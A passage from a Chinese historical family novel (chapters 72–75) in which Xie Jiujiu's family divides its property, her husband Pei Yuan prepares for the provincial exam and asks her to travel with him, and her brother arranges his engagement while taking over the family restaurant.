裴元是何县丞的座上宾,哪怕他这会儿说话还恭敬着,黄河也不由地偃旗息鼓坐到一旁不做声了。 反而是平时一向最少言寡语的二舅黄江,红着眼走到亲妹子跟前,“非要分家,这次的事你低个头成不成啊。” 自己的妹妹自己了解,心高气傲又眼高手低。不是个坏人,却又是个犟种,咬定青山不松口不撞南墙不回头。家里好好的日子不过,也不知道她这回是闹的什么。 “二哥,都这样了还强留着做什么,分了吧分了吧,分了清净。” 谢九九留不住了,不是留不住女儿而是留不住女婿。自家这个小庙马上就要装不下裴元这尊大佛了,自己是不可能跟着女儿女婿走的,倒不如现在分了家的好。 “行了,既然想好了那就分。”黄海最精明,分家单子上看着什么都分了,其实自己妹妹手里的私房钱却是提都没提。不管因为什么没提,黄海知道黄娟的日子不可能难过到哪里去。 “只一点,现在分了家那裴元怎么算。当初婚书上写明了裴元是入赘的谢家,现在家都分了,你们夫妻两个如何商量。” “我与九九已经成了亲,当初我们两人说好海枯石烂绝不更改,如今不过分家又不是我俩和离,入赘之事自然作数。 九九没嫁人,这次分家就算单立一户,我算作入赘给她一人,到时候婚书上把谢家改成谢九九即可,大舅您觉得这么办可行?” “好,那就这么办!”只要谢九九和裴元夫妻之间不受影响,这个家在黄海看来分就分了,至于自己这个妹妹,有些道理说也没用,等以后她后悔了自然就知道痛了。 黄家点过头,又隔了一日谢九九让人去鹿鸣村把现任的里正兼族里的幺叔爷请了来,谢家、黄家连同谢氏族里一起拿着分家单子去了县衙。 在衙门户房里把手续办好,顺道把裴元和谢九九的婚书上的谢家改成谢九九一人。 从衙门出来,一行人又急急忙忙上了早就准备好的马车往鹿鸣村赶。回村之后开祠堂拿族谱,把谢九九从谢德昌这一支单拎出来立成一股,再把婿裴元女明婉添上,这个家就算真正分完了。 第72章 第72章水磨工夫谁家强 家里的事情办完,谢文济决定去书院把行李包袱都拿回来暂时不去读,裴元也得回府城备考了。 乡试在八月,考试前一个月就得到达潭州备考。从岳州到潭州一路要七八天,七月的天已经热起来了,谢九九早就跟裴元说好了六月初就出发。 到了潭州也别住客栈,找个好点儿的宅院租下来,吃饭的话找个临时的厨娘,杂活儿有曹勇和高义不用操心,比在客栈里住一两个月舒服得多。 可那是之前说定的,现在谢九九分了家,虽然还没从谢家搬出来,但前院后院的灶已经彻底分开了。 哪怕谢芝娘和谢文济隔三差五要到前院来跟谢九九一起吃饭,哪怕阿满还是一天到晚去后头找她阿奶,从她阿奶的点心匣子里挑 自己喜欢吃的吃。 谢九九这边不管做了什么好吃的也要往后院送一碗,但分开了就是分开了,谁都知道这跟以前不一样了。 其中对此适应得最好的是裴元,作为分了家的姐夫他对谢文济反而更加不客气起来。不去书院读书可以啊,但功课不能落下。 每旬两篇经义两篇策论五篇八股,题目他会提前留给他,不要想着敷衍应付。谢文济敢在读书上应付他,谢九九转头就得收拾他。 既然分了家,文济的亲事你多看少说。真有什么不对的地方你再提出来,别都大包大揽的往自己身上揽,记住没。” “记住了记住了,这些事哪里还要你来啰嗦。你回去安心读书备考,等云客来这边文济能接手了,我就带阿满过去找你。” 不说这个还好,一说这个裴元整个人都像是没了筋骨一般,脑袋枕着妻子的腿,赖唧唧地躺在罗汉床上不肯起身,更加不肯谢九九起身。 “就非得你来教他,不是还有潘掌柜和秦娘子,云客来的事他们都知道。” “那怎么能一样,潘掌柜再尽兴他也只是掌柜,好多事只有我自己心里有数。再说了别人说是不藏私,你就信别人真的不藏私?” 谢九九摇摇头,有时候不是人家想藏私,而是有些话当掌柜的就没法跟东家一五一十的说清楚,谁还能没点儿小猫腻。 当东家的有些事必须丁是丁卯是卯,可有些事就得装聋作哑。这些事能指望潘掌柜都跟老二说清楚?还不是得自己一点一点教。 这话说得裴元也没法继续往下说,只得换个话头儿继续胡搅蛮缠,“那我这一走你我又不得天天见面,你就这么舍得我?” “你是去读书,又不是不回来了,我有什么好舍不得了。” “一个月才去一次府城,到了府城还要去见你那劳什子的于姐姐,还有黄金珠每次都要找你,等到了我这儿也不剩多少时辰了。” 有些委屈一直憋在心里好像也没什么,现在说出来了才发现那可真是委屈得很了。裴元越说越觉得就是这么回事,自己就是委屈得很,就更加不肯轻易放过谢九九去。 谢九九说是说每月都要往府城去,可每次去顶多也就待上三天就得回来。 在府城裴元除了府学给他分了一个单人间的斋舍,他还在离府学步行不到一刻钟的地方租了个小宅子。 一进大的宅子只有正屋和东厢厦房,平时只有一个寡居的老婆子隔三差五过去打扫收拾。裴元很少一个人过去,每次都是谢九九去了府城,两人才会过去住几晚。 起初裴元每个月就带人去住那么两三天,他自己也鲜少过去,周围的邻居还私底下议论,这又是哪个书生学了红袖添香那一套,在外面养了小的。 直到后来谢九九每次去府城都会把阿满带上,大家伙才知道这是正经的夫妻,丈夫在府学读书,当妻子的在容县做买卖。 “那些个大娘老背着你问我,怎么不把妻子孩子从县城接上来,一家子亲亲热热住在一处多好,府学里哪有家里住着舒服。” “那你怎么说?” 裴元和谢阿满都有个毛病,只要躺到谢九九腿上了,就非得要谢九九给呼噜毛儿。从额头呼噜到头顶得顺着毛捋,捋高兴了一整天都乖得很,要不然就哼哼唧唧的总要挑出些不乐意来。 “我能怎么说,我们家当家的是你,云客来又离不了人,哪能说走就走。” 裴元换了个姿势侧过身子抬起头去看谢九九的表情,见她还笑着便得寸进尺的补了一句:“家里我说了又不算。” “裴郎君你好了啊,到底想要说什么你最好老老实实的说,明天就要去府城了,现在不说明天就也别说了。” “我想你陪我一起去潭州赴考,带上阿满,我们一家三口一起去。” 这事在裴元心里琢磨好久了,之前一直没说出口是因为家里没说起分家的事。 谢九九一向把自己当做谢家的顶梁柱,每个月抽几天出来去府城看自己可以,真要她扔下家里不管陪自己留在府城读书,她肯定不愿意。 裴元不反感谢家,相反他很喜欢在谢家的状态,不管是谢文济还是芝娘交往起来都很随和没有负担,不用像外面那些人一样,时时刻刻都要想着他们是不是话里有话。 即便是黄娟,裴元打心底里来说只要她不想着折腾谢九九的时候,他也觉得这丈母娘还行。至少闹也都闹在明面上,不会暗地里琢磨些见不得光的。 但人性是自私的,裴元尤甚。 岳母这次闹成这样,外人都觉得裴元一直沉默极少插手这事,是因为心里不满。其实他只是在尽力克制,克制自己别一出声就煽风点火,让这个家分得更快一些。 自己那点伎俩或许骗一骗别人还行,谢九九是决计瞒不过去的。同床共枕一个被窝里睡着的夫妻,真的很难遮掩什么。 就像那天从鹿鸣村回来的路上,阿满说要跟小姨玩儿,就去后面芝娘和文济的马车上闹去了。 马车里只剩下自己和她,自己明明什么话都没说,谢九九就一巴掌拍在自己背上,让自己把那嘚瑟劲儿收一收。 裴元当时赶紧摸摸自己的脸,确定自己没笑出来才一口否认,说自己根本没嘚瑟是谢九九看错了。 “去不去?”谢九九一时间没说话,裴元又扯着她的衣摆水磨工夫一般地磨,“去吧,上次我从潭州带了那么些香料回来,你不还说下次定要自己去看看。” “如今咱们分了家,这次我考中举人到时候留在家里的时间就更少了,说不定到时候就直接去京城了,不想去京城之前到潭州看看?” 裴元当然知道自己的妻子不是个安分的人,她这辈子什么新鲜喜欢什么,从首饰到布料,从吃的到玩的就没有她不喜欢的。他现在就是故意掐着她的七寸来回撩拨,真真烦人得很。 “六月出发,这会儿马上就四月了。” “岂不正好,将近三个月还不够老二熟悉云客来?拢共才多大的地方,还得你怎么教他,他只是没我聪明,又不是真的傻子。” 师父领进门修行靠个人,裴元是很信奉这个说法的。学得会就是学得会,实在学不会那也就不会了。 “那……”谢九九说不过裴元,再说一想到他自己去潭州赴考一去三个月不回,不就跟那年他去京城是一样的,心里也有些动摇。 “那就这么说定了。”裴元怕她又反悔,腾一下从她身上蹿起来往外走,隔着两个院子高声喊谢文济,“老二、老二!” “姐夫你小声些,巷子口都能听见你喊我。”谢文济正在看谢九九给他的账册,册子里记下的都是这几年云客来的流水,该买什么要出什么都在上面。 当年怎么打理云客来,谢九九就是拿着谢德昌早年间留下来的账本,和潘掌柜给的账本两厢对照着看。 来回看上几遍,云客来平日经营需要什么、收支如何,爹在世的时候跟潘掌柜主事的这几年区别在哪儿,心里都能有个数。 现在谢九九把账册交给谢文济也是这个意思,心里有个大概了,自己再说什么他好歹能明白,要不从头开始跟他说,才是真要老命了。 裴元站在前院喊,谢文济拿着自己写下的小本本从书房出来,“姐夫,什么事你说,是不是我姐又要我从府城带什么回来。” 谢文济这次去府城,顶多跟同窗和老师告别停留几天,等把书院里的事情结了也就回来了。 “不是,六月我让你姐带着阿满跟我一起 赴考,你姐不在我这心里不安稳。你这两个月上上心,把云客来的事都弄明白了行不行。” “……行。” 还行不行,您都把‘我姐不在我心里不踏实’这种话说出来了,我还能说不行吗?要是真因为我不行我姐没去潭州,到时候您没考上举人,这我不成罪魁祸首了。 “那我那几篇策论和经义是不……” “不行,白天在云客来还不够你忙的?晚上回来写两篇文章换换脑子,正好。” 谢文济的话还没说完就被裴元给无情打断了,要裴元说谢文济考不上秀才一则是天赋不够,二则也是自己对自己狠不下心。吃苦都吃在全家人看得见的明处了,真要裴元说有多发狠,倒也还谈不上。 “噢,知道了。姐夫放心,六月我肯定让我姐安安心心跟你去赴考。” 读书的事在裴元这儿向来没有讨价还价这一说,谢文济也就不多纠缠了,转身回去继续看他的账册。 倒是正屋里的江妈妈打开窗户往外看了一眼,院子里没人,裴元站在后院门口跟谢文济说完话就回去了,谢文济的书房也把门关上,只能透着窗子看到半个人影。 “太太放心,我看姑爷和二少爷之间还跟以前一样亲近,不会疏远的。” “是啊,他们分家分得各个都满意了,只我这里没人问上一句好不好,乐意不乐意。” 黄娟有些自嘲地哂笑了一声,随即便住了口。她知道家里人人都觉得这次分家就是自己无缘无故闹出来的,现在自然没人再站在自己这边。 就连一直陪在自己身边的江妈妈也是一样,虽没说什么可她也能从她的神态和欲言又止里看出来,自己如今不管做什么都是在没道理的作兴。 不过家里确实没人在意黄娟怎么想,家里四千五百两的银子又不是现银,分家完了还得把存在钱庄里的拿出来,在把家里本有的,和能折算成银子的归拢在一起,到时候再分。 云客来的事情更是忙忙叨叨,潘掌柜一听是要跟谢九九去京城开店当场就答应下来。他当年本就自己出去闯荡过,只不过没成这才又回来给人当掌柜。 这几年云客来生意好,他占着两成的利,但那是跟谢九九之间签的契。 如今云客来的东家成了谢文济,潘掌柜觉得他还是愿意跟着谢九九走,说不定去京城再给她当几年掌柜,又能攒出一份自己开饭庄的家业来。 大头这几年一直在厨房里干,云客来的新菜色他跟老韩掌勺,并没有防着他的地方。但厨房里主事的一直是老韩,他怎么着都得退上一步。 大头前年娶了妻子还没生孩子,正是年轻力壮的时候,现在谢九九想要带他一家子走,大头自然也愿意。 何奎的脚力行在码头不能动,秦娘子家里还有两个孩子自然也不可能跟着走,再加上老韩和韩婶子,等于谢九九抽了一半主事的走,给谢文济留了一半。 眼下没人问谢九九什么时候走,大家都忙着把手里的活儿交代出去。都是在云客来待了好些年的老人儿了,这会儿且舍不得呢。 第73章 第73章彪呼呼的 龙生龙凤生凤,这话不是全然没个道理。谢文济在读书一事上磕磕绊绊,不说毫无天赋至少也是资质平平。 谁知到了云客来,这小子却像是如鱼得水如鸟归林。不管是招待食客还是算账打理,他都一点就通,很少有什么事情需要谢九九说了又说,他还不明白的。 本来谢九九觉得两个月的时间太紧,要是谢文济接不了这摊子事,自己就不跟着裴元去潭州了。等谢文济这边学得差不多了,到时候自己再直接带着阿满去潭州找裴元也是一样的。 谁知这小子看着平时温吞得很,跟谁都不多话的人,跟云客来的客人们倒是相处得挺好。 不同于谢九九的八面玲珑处处周全,谢文济身上的文气更重,谁来了都和和气气打个招呼,虽看着不那么热络,就胜在和气亲和。 谁跟他这个少东家说话他都听着,不像谢九九非要你一句我一句的聊起来,他就耐着性子听,偶尔搭话附和一两句也不打断人家。 好几次也不知道来喝酒的客人是有什么伤心事,生是说着说着就嚎啕大哭起来。 哭完了舒服了还非要多给个银角子,再走到谢九九跟前说老掌柜命好,有她和谢文济两人都能继承云客来,云客来再有二十年也倒不了。 话是好话,就是谢九九看得瘆得慌,等人走了以后专门把谢文济拉到一旁问他到底怎么人家,还把人给说哭了。 谢文济也双手一摊,只说我也没说什么,就是听着他说,附和着他嗯嗯对对说几句,不知道怎么人就哭了。 有那好事的老客故意拿姐弟两个分家的事来问,他也不恼。 等别人阴阳怪气的说完了,他还要给人家执壶敬酒,多谢人家这几年捧云客来的场,还站在自家大姐这边说公道话。 年轻面薄的少东家都说这话了,要是再不接下谢文济敬的酒未免太过分了些。这种事有过几次,旁人见谢文济坦荡谢九九也没有不忿气恼的神色,这样的话自然就没人说了。 打理饭庄,一半靠精明世故,不能叫店里的人哄骗了去,一分一厘出出进进怎么做到捉大放小,当东家的都得心里有数。 另一半靠交际,给饭庄供应大小食材桌椅板凳酒水饮子的老板们都得交好,又不能好得太过什么都放手。 客人们也是一样,不管有钱的没钱的都要和和气气别得罪了谁,却也不能好言好语谁都能攀关系赊账不给银子,真要是只求个热闹对谁都拉不下脸来,这份生意也就做到头了。 端午节前云客来正是生意好的时候,除了来饭庄的客人,还有不少预定了过节那日要来取的大菜。 老韩最拿手的梅菜扣肉和五圆蒸鸡,不管云客来出多少新菜,一到过节县城多少人家都要提前定两份拿回去吃。 这种大分量要出的菜都得提前准备好,还都得新鲜。再加上饭庄里不断来客,该怎么平衡怎么安排谢九九就全放手让谢文济去弄了。 连着三天待在家里带着阿满,连阿满坐在她那个小马桶上坐得太久了她都要叨叨两句,把人小姑娘烦得系好裤腰带就往后院跑,去找她小姨和阿奶。 黄娟再怎么跟女儿和儿子闹,对阿满一直都是实心实意的好。见扎着两个小揪揪的孙女跑得满头汗,也不问对错就朝刚走到后院门口的谢九九抱怨。 “好好的又招惹孩子做什么。” “就是就是,娘太唠叨了,我刚刚、刚刚差点都没嗯出来。” 谢阿满年纪虽小,但已经知羞了。又不知道如厕怎么说得文雅,就冲着黄娟皱起小鼻子恩了两声,当奶奶的一下就明白是什么意思。 “你看看你,在家里待不住就出去,别老逮着孩子祸祸。” “我去哪儿啊,云客来不是有文济看着,说好了这次过节前后他负责,我这会儿过去算怎么回事。” 这话说出来本没有别的意思,可自从闹了分家之后,母女两人之间就一直不尴不尬的,谁也没有再吵,但谁都清楚对方心里还有疙瘩,不是那么好解开的。 “你……”黄娟看着把头转到另一边,定定看着窗外自己养的那几盆花看得出神,好像恨不得把那几盆花看出个花来的女儿,把到了嘴边本来想说的话给咽回去了。 “定好出发的时间了吗。”黄娟换了个话头儿,女儿要陪女婿赴考的事黄娟也知道了,对此她没说什么,也没法说什么。 “还没,等过完端午再说吧。” …… 干巴巴说上两句话,两人又陷入了令人有些尴尬的沉默。直到阿满在她奶奶怀里待不住,又 从黄娟身上爬下来去厢房那边找她小姨玩儿,黄娟才又继续开口。 “非得带上阿满,要不让孩子留在家里。” “她爹舍不得,这次非要我们跟着去,起码有一半就是舍不得几个月见不着孩子。” 前两天下过雨,今天的天气算得上特别好。微风拂面阳光和煦,但两人之间的气氛确实越来越凝重,凝重得谢九九有些烦躁也有些不想再继续粉饰太平。 她转过头定定地看向她的亲娘,“再说已经分家了,该分给的那一份您已经给了,我也不好总赖在家里住着。 去年年底手里有些闲钱,我在舅舅家那边买了个小宅子。前院的东西已经收拾了一大半,过完端午把不常用的先搬过去,等裴元考完回来,我就把前院腾出来。” 那边的院子不大,买下来也是凑巧。 房子就在黄家和裴雨伯留下的老宅中间,一个前后两进的院子。前任房主老两口要去外地投奔儿子不会再回来,就干脆卖了给自己留一笔养老的银子。 两进的院子不小,一时半会儿的不好出手,房主只好托田婆子和黄海去打听,有没有人想要买宅子的。 打听来打听去打听到谢九九这里,谢九九要了这个宅子本是想留着租出去,或是以后留给芝娘当添妆都行。谁知买下来刚收拾利索,自己就正好用上了。 黄娟看着脸色平静眼神中全是毫不掩饰失望的女儿,第一次退却败落,甚至有些结巴地跟谢九九说,不用这么着急,家里她想住到什么时候就住到什么时候。 可这话说来着实没什么意思,尤其在谢文济把端午节应付下来以后,就更加成了一阵轻烟,说过也就过了。 谢九九和谢文济都清楚,至此姐弟两人的分家才算真的成了。谢文济能担得起谢家,谢九九能安心经营她自己的谢家,从此心念一转便是天地宽了。 “姐~” “说。” 忙着备考,裴元端午节都没回家。 谢九九也忙,忙着把手里最后这点活儿交代出去,再把自己这几年置办的私产安排妥当,就真得带着阿满出发了。裴元六月初二从府城出发去潭州,自己最迟五月二十八、九要到。 到了府城让阿满休息两天,自己再去见一见于氏,替裴元把该带的东西再检查一遍,就能出发了。 “姐、姐你看着我,我有事跟你说。” 谢文济从小就懂事,这种耍赖的时候不多甚至于很少。现在突然这幅做派,谢九九忍不住放下手里的笔,抬头仔细把人打量一番。 “你小子,是不是还有什么事瞒着我呢。” “你是我姐,我还能有什么事瞒着你。” 送走中午第二轮客人,云客来基本就能闲下来。炸货的档口留一个跑堂的守着,以防有过路的客人要买两个油饼垫垫肚子。 大堂里还有一桌靠窗喝酒的客人,菜已经吃尽了,只剩一碟子油炸花生米一碟子水煮蚕豆,俩都是磨牙的好东西,光这两碟子就够他们喝一下午的,没人管也不妨事。 饭庄其他人在后院吃过中午饭都歇着去了,厨房留了个大头守着。以前没想过走的时候总觉得厨房有老韩压在他头上,多多少少心里不服气。 现在说不定什么时候就要跟着大娘子走了,这人反而舍不得了。天天有空就在厨房里待着,老韩也由着他去。 现在就谢九九坐在柜台后边干活儿,谢文济大半个身子趴在柜台上踮着脚脖子伸得老长,跟谢九九说话。 “姐,等会儿还有个客人来。” “谁啊,怎么这个时候才来。” “就是上次田婆子去家里说过的张家姑娘,咱们家这段时间一直忙,娘就一直没再去找田婆子。田婆子又不知道这桩亲事该不该撮合,也一直拖着。” 黄娟是觉得自己闹来闹去弄了个鸡飞蛋打,明知道分家的事其实怪不到张家头上,但心里还是添了几分不乐意,就一直拖着。 田婆子呢则是在等黄娟这边给个明确的答复,人家分家正乱着,再说这分家完了还想不想要这门亲事都说不好。 还是谢文济左右等不到进展,去问他娘他娘又一昧的支吾,便干脆自己硬着头皮去找了田婆子。 不就是自己给自己说亲吗,谢家又不是没有这个先例,自家姐姐和姐夫当年在家中对坐,丁是丁卯是卯地把亲事说定的场面谢文济还没忘,现在轮到自己想来也不是多难的事。 确实不难,张家那边听说谢家分了家,刘氏心里是很满意的,觉得谢家门第虽不高但做事不含糊,这事能办下以后自家女儿嫁过去日子就好过了。 而张桂兰则是早就听说了谢家姐弟两个和和气气分了家的事,就等着田婆子上门来,她想要见见谢九九这个大姑子,她对谢九九可太好奇了。 “见我,见我做什么。” “我问了,人家不说。就说等见过你了,就正式交换庚帖合婚。八字合得上,就让我带着东西去她家下定。” 谢文济已然默认了裴元这次肯定能考上举人,等姐夫考上了说不好姐姐留在县城的时候就不多了,他怎么也得在谢九九去京城之前把亲事给定下来吧。 “行,那就见见吧。人家姑娘家都不扭捏了,我有什么好拿乔的。” 张桂兰来得很快,谢九九刚去厨房嘱咐大头弄几个饭庄的拿手菜,再从厨房过来张桂兰就已经带着丫鬟从外边进来了。 武官家的姑娘,从小跟着父兄习武打猎骑马什么都学,自然也没有缠脚。这会儿站在谢九九对面大大方方的朝着谢九九喊大姐,把谢九九都听乐了。 其实张桂兰没什么非说不可的话要说给谢九九听,她一个还没把亲事定下姑娘也没什么能跟人家说的,她就是想见见谢九九这个谢家的大娘子,仅此而已。 “以前来云客来吃过几次饭,都是跟着我娘来的。想跟姐姐说几句话姐姐也忙,所以今天才挑了这么个时辰来,咱们坐下好好吃顿饭。这是从我爹地窖里偷拿来的酒,一小坛子咱们仨人分了吧。” 谢九九被张桂兰拉着往二楼雅间走,看她熟门熟路的样子就知道确实是来过的。 谢九九回头朝谢文济挑了挑眉,这就是你觉得仁义的好姑娘,没想到吧比你姐我还要彪! 第74章 第74章酣畅淋漓 穷家富路,谢九九还没真正出过远门。嘴上说得再硬气的人到了要出门的时候还是什么都想带上,一辆马车放不下又临时租了一辆驴车。 大包小裹的塞得满满登登,到了地方也没去府学,直接带着阿满先回了租的小院子。院子不大,唯一的好处是后面有一块空地,正好能拿来放行李。 这些行李都不用打开,只需把这几天要用的拿出来就行,等六月初二重新装上马车,就能出发了。 裴元得着消息从府学回来的时候,谢九九正坐在院子里的石凳子上,一边拿着团扇扇风,一边指腹曹勇趁着时间还不晚,赶紧出去买些现成的菜肴回来。 抬头看见站在门口的裴元,来不及什么小别胜新婚,就赶紧把谢阿满塞给他抱着,不让小家伙满地撒欢碍事的很。 这两个月谢九九没来府城,裴元一个人就住在府学里,小院子这边到处都落了一层灰。 裴元倒是提前让曹勇和高义过来打扫过,但谢九九看不过眼,今晚上要睡那就得重新里外都打扫一遍。 还有厨房,今天才二十九,六月初二出发还得住三天,总不能三天都在外边吃,就算吃能将就洗漱也不行。反正就是哪哪儿都看不过眼,嫌弃死了。 “以前过来怎么没见这么脏呢。” “之前请了个大娘隔三差五来收拾,这不是想着以后用不着了,就提前跟人家说不用来了。” 厨房不脏,就是灰重。裴元把阿满又塞到春儿手上,让她带着闺女出去买糖吃,他去屋后的井里打了两桶水来,陪着谢九九干活。 谢九九正拿着抹布擦灶台,一听他这话本来回一句那万一没考上怎么办,还不是要回来接着再读三年。 又觉得现在不能说这么不吉利的话,便赶紧把到了嘴边的话给咽回去了,转过头来倚在灶台旁一边歇息一边把张桂兰去云客来的事,当故 事一样说给裴元听。 “你是不知道,那姑娘说话嘎嘣脆,比我还虎。” 那天张桂兰真就跟谢九九两人把一摊子陈年好酒分了大半,谢文济就捞着个底儿,一顿饭的功夫光忙着布菜执壶了,那乖巧模样和在自己跟前完全不一样。 裴元丝毫不在意谢文济娶的是张家姑娘还是李家姑娘,他比谁都清楚就算当时黄娟没有应下这两家的亲事,后续还是会有容县乃至岳州条件差不多的末等官宦人家主动来说亲。 因为他们不会放过自己这个师从崔鹤儒,又跟着章世铮学了两年的小三元。 他们现在就眼巴巴的等着自己考中□□,好把岳州文人的名气给打响,岳州的确有些年头没出过拔头筹的读书人了。 而自己的出身特殊了些,裴家是禁忌没人会那么没眼色到自己跟前来攀裴家的关系,自己不过是谢九九的赘婿,要是日后考中举人带着全家去了京城,跟岳州这个故土联系就少了。 得想个法子把岳州和容县的烙印永远打在裴元身上,要么给他送姨娘小妾,可他家里还有个河东狮。 要么成为裴元的姻亲,黄娟不懂事无所谓,以后只要嫁过去的姑娘哄得谢文济跟姐姐姐夫亲近就行了。 这也就是自己还没中举,要是自己真中了举,他们看在关家的势力上也会消除最后一点顾虑,到时候别说文济,就是芝娘恐怕也得被上门说亲的媒婆烦个够呛。 这都是后话,裴元并不多说,他只揪着谢九九没给自己送信就自己来了的事不放。 “你还知道你虎,不是说好了我回去接你们,怎么说来自己就来了。” “何必费那个劲儿,以前又不是没来过,这次就是多带行李,都在后头马车上放着,也挤不着我们娘俩。” “怎么,我还不能自己过来了,是不是你还藏了什么见不得人的,怕我知道啊。” 谢九九最怕裴元絮叨,长得这般俊朗漂亮的郎君,也不知道怎么就这么啰嗦,一点小事就能追在自己屁股后面叨叨叨、叨叨叨个没完。 看着谢九九故作嗔意的样子,裴元抬手牵住妻子的手不让她再转身去干活儿。 而是厚着脸皮半推半哄着把人从厨房拉出来,往刚收拾妥当的正屋里去。什么虎不虎的,到底谁更虎床上见真章,耍嘴皮子可没有用。 “阿满马上就回来了!” “有春儿曹勇他们,不妨事。” “天还亮着呢!” “马上就黑了。” 房门一关,刚带着阿满买了芝麻糖回来的春儿,立马就又牵着小姑娘出去了。这会子开闹,不到天黑肯定收不了场,先带阿满出去买些零嘴垫垫肚子吧。 裴元的嘴许是没开过光,说什么什么不准。屋里被翻红浪,屋外临近傍晚竟下起太阳雨来。 金黄一片的夕阳把正片天映得金灿灿的,厨房里端着菜回来的曹勇和高义继续忙,春儿抱着阿满坐在门槛外面吃芝麻糖和桂花糖藕。 “春姨,娘和爹又有好重要的事不能告诉阿满吗。” 小姑娘还不知道为什么每次娘带着自己来看爹,总有一次两次就要关上门来说‘特别重要的事’,什么事是爹娘最最喜欢的阿满都不能知道的呢。 “对啊,你爹和你娘很久没见了,必须有很重要的事得办。” 春儿从最开始的羞红脸,到现在对此眼睛都不眨,也算是被谢九九和裴元这一对孟浪起来特别不要脸的夫妻给练出来了。 “糖藕好不好吃,给春姨吃一块好不好。” “啊,张嘴~” 本来以为小孩儿护食不肯给,毕竟小时候自己跟小姐再好,两人也因为私藏吃的不肯给对方而闹过好大的脾气,发起狠来也说再也不要搭理对方。 没想到阿满才这么点儿大就已经不护食了,挑了一块大的糖藕喂给春儿,又从油纸包里捡出几块来放到一旁,从她爹娘到高义曹勇人人都有份。 小孩儿探着脑袋往院子里看,雨水滴答屋里好像有什么声音传出来但是她听不清,看来真的是有特别重要的事情。 厨房里曹勇和高义一个在收尾打扫,一个在生火架炉子,把买回来的饭菜弄到自家的碗里来,好把饭庄的碗钵给还回去,叮叮咚咚的也正忙着。 春姨要忙着陪自己,自己要忙着吃东西,大家都很忙,忙的人都需要吃糖。 做过酣畅淋漓的一场,等鸣金收兵的时候外边天都黑了。晚上还吃了闺女专门给留的糖藕,第二天去府学收拾东西,告别老师同窗的裴元看上去格外意气风发,恨不得在脸上写着‘我家九九和阿满来了’。 而另一边的谢九九看着主动找上门来的黄金珠,却是无奈里又带着几分惊诧。眼前这个面容憔悴肚子已经显怀的女子,哪里还是当年去云客来找自己时,那个明媚鲜妍的年轻妇人。 “你怎么,上次我去看你,咱俩不是说好了,这几年就好好养着宝儿,不再生了的。” “就知道你见了我得说这个,现在也只有你愿意跟我说这个。” 黄金珠两年前生了一个儿子,就是罗永去青松书院读书不久,黄金珠终于得偿所愿赶在姨娘张氏之前怀上孩子。 怀孩子那一年,算是黄金珠过得最惬意最满足的一年。 不管是罗家还是黄家对黄金珠的态度都是要星星不给月亮,直到她因为身形纤弱,艰难生下一个男孩儿,还没出月子就听说姨娘张氏也怀上了的消息。 当初青梅竹马一起长大的夫妻,爆发了这辈子最激烈的争吵。吵过了,夫妻之间的情分也耗了个一干二净。 为此谢九九专门去看过她一次,两人先是一起骂罗永不是人,之后黄金珠又信誓旦旦的说她现在有了孩子,就一门心思扑在孩子上,罗永是死是活她再不管了。 可这才过了多久,谢九九看着黄金珠的肚子,一颗心止不住地往下沉,“大夫不是说你这身子,往后得好好养着,孩子能不生就不深生了的。” “就知道你得这幅表情,这世上也就你真心心疼我。” 黄金珠摸摸自己的肚子,嘴角扯出一丝苦涩的笑来,“就是我娘,也只跟我说是该再生一个,宝儿身子不好,要是有个万一我以后都没个倚仗。” 这是理由,但更重要的是张氏也生了个儿子,还是个极康健壮实的儿子。这么一对比,自己的宝儿看上去就越发势单力薄,连家中公婆都把心偏到老二身上去了。 黄金珠没法子,只能强忍着恶心又怀了一个。她这次过来是给谢九九和裴元送程仪的,这几年罗永一直想跟裴元搭上关系,但裴元对词的态度一直都是不冷不热。 罗永做东请吃饭他也去,说话谈天也能说得有来有回。但要说交好,裴元的态度摆在这里,罗永自己在外面再怎么吹嘘也是无用。 “我也曾劝过他,与其到处攀关系倒不如自己认真考个功名出来。他志不在仕途,能考中个秀才就很好。可他只说我这人短视,之后再要说这些,两人就又要吵起来。” 这次再怀上,黄金珠明显感觉自己的体力不如之前。今天出门前还喝了一杯参茶,又含了两片参片在舌底这才有些力气,要不然一路过来还不知是什么样子。 “你不要再跟我说罗永了,我实在不爱听。”谢九九向来有分寸,但今天却懒得再装。 “他们只想着你以后有没有倚仗,怎么不想想你能不能平安把这个孩子生下来。生宝儿就那么艰难,难道生这个就容易了。你这身量,再生三个不还是一样吗。” 谢九九弄不懂黄金珠这是在干嘛,她的嫁妆足够她这辈子丰衣足食了。再说她有儿子了啊,宝儿是病弱了些,可当年谢文济不也是天天生病。 生病就治啊,谢九九是怎么也不明白,因为生了个不那么康健的孩子,所以就还要拼死再生一个,这个道理是怎么说得理直气壮的。 “是是是,你别生气,你 要骂我我听着,可这点程仪你得收下,就当做是我一点心意。” 谢九九气得在屋里直打转,黄金珠歪在罗汉床一侧心里却只觉得高兴。谢九九这个手帕交,这几年是自己心思不纯了,但她对自己即便恨铁不成钢,心却还是一样的。 “说好了,这是你的程仪,跟罗永没关系我就收。”谢九九板着脸,“你我之间还有情分,他跟我和裴远舟之间可没这情分。” 别到时候转过头来,这程仪又成了罗永送给裴元的,说得好像他们之间多亲近的关系一般。 “你放心,这次他不知道我来,即便知道我也不让他扯着虎皮做大旗。” 黄金珠把一包银子塞到谢九九手里,“你收下便是全了我俩之间的情谊,同别的再不相干!” 第75章 第75章吃饱了自己才是正理…… 黄金珠的事只是一个小插曲,都是当了娘的人了,也不是十三四岁还未经事什么都不懂的小姑娘,怀上这个孩子纵使有千般万般的苦衷,说到底也是黄金珠自己点头了的。 等裴元回来谢九九没有再跟他嘀咕黄金珠的事,只是把那一包银子给他看,告诉他这就算黄金珠给的程仪,与别的都不相干。 给本地学子送程仪是很正常的事,当下被称为宾兴礼。像裴元这种名气大又考中举人机会很大的秀才,多的是本地乡绅豪强在赴考前送来宾兴银。 除了这些人,府学也会拨一笔款子,大部分给裴元这样的廪生作为路费,还有一小半分给家境艰难的秀才,以作资助。 甚至还有些考了许多年考不上的秀才,到了要赴考之前就拿着自己写的字或文章画作,把城里的大户富户走上一遍,只要豁得出去脸皮,或多或少能凑些盘缠出来。 裴元拿过银子点点头,“放心,我现在只是个秀才,罗永要做什么事,也不会真的拿我的名号扯大旗。要是自己真的能中举甚至考中解元,他也就不敢扯这面旗了。” 罗永那样的人心思浅薄得就像一杯水,小心思怎么晃荡一眼就能叫人看穿,裴元并不在意这些。 谢九九见他这样也放下心来,等到六月初二出发潭州时,看见来相送的同窗、士绅和府学那位章世铮,坐在马车里的谢九九才大概明白裴元为何对罗永一直没有放在心上。 